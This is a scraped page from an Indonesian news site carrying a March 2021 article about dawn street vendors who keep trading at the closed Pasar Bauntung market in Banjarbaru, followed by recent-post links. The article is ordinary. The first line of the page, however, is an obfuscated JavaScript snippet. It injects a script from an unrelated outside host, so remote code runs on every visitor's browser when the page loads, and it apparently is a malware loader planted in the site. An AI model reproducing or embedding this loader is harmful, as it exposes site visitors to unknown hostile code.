(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PKL Subuh Masih Ada yang Ngotot Berjualan, “Kami Diracun Pelan-pelan”


KANALKALIMANTAN.COM, BANJARBARU – Hari pertama penutupan total Pasar Bauntung oleh personil gabungan TNI, Polri, Dishub, Satpol PP, dan Disperindag Kota Banjarbaru tampaknya tak membuat para PKL Subuh rela minggat begitu saja.

Saat Kanalkalimantan.com mendatangi lokasi lama Pasar Bauntung, Kamis (18/3/2021) sekitar pukul 04.00 dini hari. Masih ada PKL Subuh yang ngotot tetap beraktivitas jual beli, mereka memilih bertahan di sepanjang jalan, lebih tepatnya berada di sisi selatan pos penjagaan simpang Jalan Kemuning.

Tim gabungan yang melakukan penjagaan di posko pun sejatinya sudah memberi imbauan agar tidak ada aktivitas jual beli di lokasi terlarang itu. Namun tidak sedikit dari para PKL Subuh yang merespon seruan memilih berdiam diri dengan ekspresi dingin.

 

Baca juga: BREAKING NEWS. PKL Subuh Nekat Gelar Lapak di Lapangan Murjani

Seorang pedagang sayur bernama Siti mengaku dirinya kesal dengan keputusan Pemko Banjarbaru yang menutup pasar untuk mereka dengan paksa. “Ya begini, kami diracun pelan-pelan,” ucapnya.

Saat ditanya tentang imbauan tidak lagi boleh berjualan di sepanjang Jalan Kemuning dan Jalan Lanan tersebut, wanita berlogat khas ini mengatakan dirinya sudah tahu larangan atau penutupan Pasar Bauntung, namun bersikeras enggan pindah alias tetap memilih menggelar lapak di Pasar Bauntung lama.

PKL Subuh lain yang berjualan lombok Erna juga mengungkapkan hal yang sama. Ia menghitung jika pendapatan di lokasi yang baru sangat sepi pengunjung. “Bayangkan saja teman kami jual tomat di pasar baru hanya dapat dua pembeli, bagaimana kami mau berjualan di pasar baru,” ujarnya.

Selain itu, pedagang yang sudah berjualan hingga 10 tahun lamanya tersebut juga memprotes karena masih memiliki kontrak yang lama. “Aneh sekali pengelola pasar lama, kami sudah punya kontrak satu tahun kenapa harus dipindahkan,” ujarnya menggerutu sembari menunggu pedagang lain pergi.

Walaupun terus berdatangan hingga pukul 05:00 Wita, tim gabungan di Posko penjagaan terus menghimbau dan meminta para PKL Subuh secara halus agar tidak menumpuk barang jualan yang mengganggu pengguna jalan (kanalkalimantan.com/pras)

Reporter : Pras
Editor : bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.